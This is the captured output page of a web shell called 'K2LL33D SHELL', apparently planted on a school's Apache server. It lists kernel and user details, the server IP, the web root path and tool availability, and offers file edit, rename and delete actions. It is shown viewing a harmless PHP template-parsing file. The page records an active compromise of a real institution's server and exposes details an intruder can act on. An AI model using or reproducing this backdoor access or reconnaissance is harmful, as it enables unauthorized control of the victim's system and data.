K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / var / www / html / sman1baleendahoppppppp / sman1baleendah_sch_id / lib /
server ip : 104.21.89.46

your ip : 172.70.100.186

H O M E


Filename/var/www/html/sman1baleendahoppppppp/sman1baleendah_sch_id/lib/parsing.php
Size649
Permissionrw-r--r--
Ownerroot : root
Create time05-May-2025 15:10
Last modified05-May-2025 15:10
Last accessed07-Jul-2025 03:25
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
<?php
function Parse($template_file,$tags) {

if(!file_exists($template_file))
{
echo "File Template <b>$template_file</b> nggak ada salah kali.......";
return 0;
}

$contents = implode("",file($template_file));

while (list($key,$value) = each($tags)) {
$tag = "{".$key."}";
/*
if(!strstr($contents,$tag))
{
echo "nggak ngetemuin tag <b> $tag </b> di file template <b>".$template_file.".</b> coba cek lagi.....";
return 0;
}
*/
$contents = str_replace($tag,$value,$contents);
}

print($contents);

}
?>